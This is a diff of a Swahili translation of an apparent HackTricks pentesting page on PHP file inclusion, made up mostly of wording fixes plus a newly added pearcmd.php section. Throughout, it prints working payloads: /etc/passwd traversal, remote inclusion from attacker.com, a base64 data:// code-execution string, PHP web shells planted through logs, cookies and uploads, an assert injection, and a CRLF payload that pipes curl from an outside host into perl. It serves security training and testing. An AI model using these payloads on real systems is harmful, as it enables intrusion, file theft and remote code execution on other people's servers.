||||
* **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
|
||||
|
||||
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata njia bora zaidi.
|
||||
|
||||
**Ukatishaji huu ulirekebishwa katika PHP 5.3.**
|
||||
**Ukatili huu ulirekebishwa katika PHP 5.3.**
|
||||
|
||||
### **Hila za kupita chujio**
|
||||
### **Hila za kupita vichungi**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
|
@ -172,7 +172,7 @@ Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.
|
|||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokali ya data na base64 kufungua msimbo wa b64 wa PHP na kupata RCE:
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokali ya data na base64 kufungua msimbo wa b64 PHP na kupata RCE:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano ambao unamalizika na `.txt`, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
|
||||
Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano ulio na mwisho `.txt`, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
|
||||
{% endhint %}
|
||||
|
||||
Mfano mwingine **usitumiaji itifaki ya `php://`** ungekuwa:
|
||||
|
@ -252,17 +252,17 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko kwenye data** kabla ya k
|
|||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Ondoa lebo kutoka kwa data (kila kitu kati ya herufi "<" na ">")
|
||||
* Kumbuka kwamba filter hii imeondolewa katika toleo za kisasa za PHP
|
||||
* `string.strip_tags`: Ondoa lebo kutoka kwenye data (kila kitu kati ya herufi "<" na ">")
|
||||
* Kumbuka kwamba filter hii imeondoka kwenye toleo za kisasa za PHP
|
||||
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Hubadilisha kuwa uandishi tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uandishi wote** unaoungwa mkono, endesha kwenye console: `iconv -l`
|
||||
* `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kukandamiza filter ya mabadiliko ya `convert.iconv.*` unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kujumuisha mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
|
||||
Kukandamiza filter ya mabadiliko `convert.iconv.*` unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
|
||||
{% endhint %}
|
||||
|
||||
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
|
@ -272,9 +272,9 @@ Kukandamiza filter ya mabadiliko ya `convert.iconv.*` unaweza **kuunda maandiko
|
|||
* `mcrypt.*` : Imepitwa na wakati
|
||||
* `mdecrypt.*` : Imepitwa na wakati
|
||||
* Filters Nyingine
|
||||
* Ukikimbia katika php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
|
||||
* Ukikimbia kwenye php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
|
||||
* `consumed`
|
||||
* `dechunk`: inarudisha uandishi wa HTTP chunked encoding
|
||||
* `dechunk`: inarudisha encoding ya HTTP chunked
|
||||
* `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
|
@ -303,30 +303,30 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Sehemu "php://filter" haina hisabati ya herufi
|
||||
Sehemu "php://filter" haijali herufi kubwa au ndogo
|
||||
{% endhint %}
|
||||
|
||||
### Kutumia filters za php kama oracle kusoma faili zisizo na mpangilio
|
||||
### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida
|
||||
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe makosa.
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili za ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuvuja kwa boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe makosa.
|
||||
|
||||
Katika chapisho la asili unaweza kupata maelezo ya kina ya mbinu, lakini hapa kuna muhtasari wa haraka:
|
||||
Katika chapisho la awali unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
|
||||
|
||||
* Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
|
||||
* Tumia codec **`UCS-4LE`** kuacha karakteri inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
|
||||
* Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya awali inakisiwa kwa usahihi** kwamba php itasababisha **kosa**
|
||||
* Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
|
||||
* Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ikose.
|
||||
* Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi si tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
|
||||
* Filter ya **dechunk** it **ondoa kila kitu ikiwa karakteri ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa karakteri ya kwanza ni hex.
|
||||
* Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe karakteri ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
|
||||
* Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena karakteri ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
|
||||
* Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
|
||||
* Wakati herufi ya awali ni nambari inahitajika kuibadilisha kuwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
|
||||
* Wakati karakteri ya awali ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
|
||||
* Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya awali**. Kwa kutumia filters za kumbukumbu za mpangilio kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
|
||||
* Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi junk data** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande unachotaka kuvuja.
|
||||
* Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za takataka mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi takataka** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie bit inayotakiwa kuvuja.
|
||||
|
||||
Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
Katika chapisho zana ya kufanya hivi kiotomatiki pia ilivuja: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Wrapper hii inaruhusu kufikia vigezo vya faili ambavyo mchakato umefungua. Inaweza kuwa na manufaa kuhamasisha maudhui ya faili zilizofunguliwa:
|
||||
Wrapper hii inaruhusu kufikia vigezo vya faili ambavyo mchakato umefungua. Inaweza kuwa na manufaa kuvuja maudhui ya faili zilizofunguliwa:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -405,22 +405,22 @@ For a detailed understanding of exploiting deserialization vulnerabilities in th
|
|||
|
||||
### CVE-2024-2961
|
||||
|
||||
Iliwezekana kutumia **faili yoyote isiyo ya kawaida inayosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari wa haraka: **overflow ya byte 3** katika heap ya PHP ilitumiwa vibaya ili **kubadilisha mchain ya vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
|
||||
Iliwezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php.
|
||||
Iliwezekana kutumia **faili yoyote isiyo ya kawaida inayosomwa kutoka PHP inayounga mkono vichujio vya php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari wa haraka: **overflow ya byte 3** katika heap ya PHP ilitumiwa kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
|
||||
Iliwezekana kugawa vipande vya ukubwa maalum kwa kutumia vichujio zaidi vya php.
|
||||
|
||||
### More protocols
|
||||
|
||||
Angalia zaidi [**protokali zinazoweza kujumuishwa hapa**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kujumuisha faili)
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mifereji ya Usawazishaji
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si muhimu hapa)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mito ya Usawazishaji
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli yenye manufaa hapa)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mifereji ya Sauti (Sio muhimu kusoma faili zisizo za kawaida)
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Siyo yenye manufaa kusoma faili zisizo za kawaida)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
|
@ -438,22 +438,22 @@ Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na mpangilio, mtu anaweza kutum
|
|||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Ni muhimu **kutoa URL-encode hizi payloads**.
|
||||
Ni muhimu **kuandika URL-encode hizi payloads**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
|
||||
|
||||
**Uelewa wa Hacking**\
|
||||
Shiriki na maudhui yanayochunguza msisimko na changamoto za hacking
|
||||
Shiriki na maudhui yanayoangazia msisimko na changamoto za hacking
|
||||
|
||||
**Habari za Hack kwa Wakati Halisi**\
|
||||
Endelea kuwa na habari za kisasa katika ulimwengu wa hacking kupitia habari na uelewa wa wakati halisi
|
||||
|
||||
**Matangazo ya Hivi Punde**\
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers bora leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na uanze kushirikiana na hackers bora leo!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
|
@ -482,7 +482,7 @@ Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion).
|
|||
Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na kujumuisha faili hiyo
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa makosa** hapo na **hakuna kingine kitaendeshwa**.
|
||||
Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa makosa** hapo na **hakuna kingine kitakachotekelezwa**.
|
||||
|
||||
Pia, hakikisha unandika **payload kwa usahihi** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
|
||||
{% endhint %}
|
||||
|
@ -524,17 +524,17 @@ Ikiwa unaweza kupakia faili, ingiza tu payload ya shell ndani yake (e.g : `<?php
|
|||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Ili kuweka faili kuwa rahisi kusoma ni bora kuingiza kwenye metadata ya picha/doc/pdf
|
||||
Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza kwenye metadata ya picha/doc/pdf
|
||||
|
||||
### Kupitia upakuaji wa faili la Zip
|
||||
|
||||
Pakia faili la ZIP lililo na shell ya PHP iliyoshinikizwa na ufikie:
|
||||
Pakia faili la ZIP lenye shell ya PHP iliyoshinikizwa na ufikie:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Kupitia vikao vya PHP
|
||||
|
||||
Angalia kama tovuti inatumia PHP Session (PHPSESSID)
|
||||
Angalia kama tovuti inatumia Kikao cha PHP (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
|
@ -548,7 +548,7 @@ Seti cookie kuwa `<?php system('cat /etc/passwd');?>`
|
|||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Tumia LFI kujumuisha faili la kikao la PHP
|
||||
Tumia LFI kujumuisha faili la PHP session
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
|
@ -571,9 +571,9 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
|||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Kupitia php filters (hakuna faili inahitajika)
|
||||
### Kupitia filters za php (hakuna faili inahitajika)
|
||||
|
||||
Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza **kuunda msimbo wa php wa kiholela** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
|
||||
Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)inaeleza kwamba unaweza kutumia **filters za php kuunda maudhui yasiyo na mipaka** kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza **kuunda msimbo wa php wa kiholela** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -581,15 +581,15 @@ Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4
|
|||
|
||||
### Kupitia segmentation fault
|
||||
|
||||
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja**, trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio hiyo hiyo,** trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia Nginx hifadhi ya faili za muda
|
||||
### Kupitia uhifadhi wa faili za muda za Nginx
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na **Nginx** inafanya kazi mbele ya PHP unaweza kuwa na uwezo wa kupata RCE kwa kutumia mbinu ifuatayo:
|
||||
Ikiwa umepata **Local File Inclusion** na **Nginx** inafanya kazi mbele ya PHP unaweza kuwa na uwezo wa kupata RCE kwa mbinu ifuatayo:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -597,7 +597,7 @@ Ikiwa umepata **Local File Inclusion** na **Nginx** inafanya kazi mbele ya PHP u
|
|||
|
||||
### Kupitia PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` imewekwa `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **iwezeshe session kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE:
|
||||
Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **kikao kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
|
@ -611,9 +611,28 @@ Ikiwa umepata **Local File Inclusion** na server inafanya kazi katika **Windows*
|
|||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia `pearcmd.php` + URL args
|
||||
|
||||
Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa script kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama hoja.
|
||||
|
||||
Ombi lifuatalo linaunda faili katika `/tmp/hello.php` yenye maudhui `<?=phpinfo()?>`:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ifuatayo inatumia CRLF vuln kupata RCE (kutoka [**hapa**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Kupitia phpinfo() (file\_uploads = on)
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na faili inayofichua **phpinfo()** ikiwa file\_uploads = on unaweza kupata RCE:
|
||||
Ikiwa umepata **Local File Inclusion** na faili inayonyesha **phpinfo()** ikiwa file\_uploads = on unaweza kupata RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -621,7 +640,7 @@ Ikiwa umepata **Local File Inclusion** na faili inayofichua **phpinfo()** ikiwa
|
|||
|
||||
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kuingizwa ina alama za PHP**, unaweza kujaribu **kuepuka ukaguzi huo** kwa kutumia **Race Condition** hii:
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** na **Race Condition** hii:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -629,7 +648,7 @@ Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya m
|
|||
|
||||
### Kupitia kusubiri milele + bruteforce
|
||||
|
||||
Ikiwa unaweza kutumia LFI ku **pakia faili za muda** na kufanya server **isimame** utekelezaji wa PHP, unaweza kisha **kujaribu nguvu majina ya faili kwa masaa** ili kupata faili ya muda:
|
||||
Ikiwa unaweza kutumia LFI **kupakia faili za muda** na kufanya server **kushindwa** katika utekelezaji wa PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -640,7 +659,7 @@ Ikiwa unaweza kutumia LFI ku **pakia faili za muda** na kufanya server **isimame
|
|||
Ikiwa unajumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kutupa kosa hilo).
|
||||
|
||||
**Sijui hii ni ya manufaa vipi lakini inaweza kuwa.**\
|
||||
_Hata kama unasababisha Kosa la Kifo la PHP, faili za muda zilizopakiwa za PHP zitatolewa._
|
||||
_Hata kama unasababisha Kosa la Kifo la PHP, faili za muda za PHP zilizopakiwa zinafuta._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -656,19 +675,19 @@ _Hata kama unasababisha Kosa la Kifo la PHP, faili za muda zilizopakiwa za PHP z
|
|||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
|
||||
|
||||
**Uelewa wa Udukuzi**\
|
||||
Shiriki na maudhui yanayoingia katika msisimko na changamoto za udukuzi
|
||||
Shiriki na maudhui yanayoangazia msisimko na changamoto za udukuzi
|
||||
|
||||
**Habari za Udukuzi wa Wakati Halisi**\
|
||||
Baki na habari za haraka za ulimwengu wa udukuzi kupitia habari na uelewa wa wakati halisi
|
||||
**Habari za Udukuzi Wakati Halisi**\
|
||||
Endelea kuwa na habari za hivi punde katika ulimwengu wa udukuzi kupitia habari na uelewa wa wakati halisi
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
**Matangazo ya Hivi Punde**\
|
||||
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na uanze kushirikiana na hackers bora leo!
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
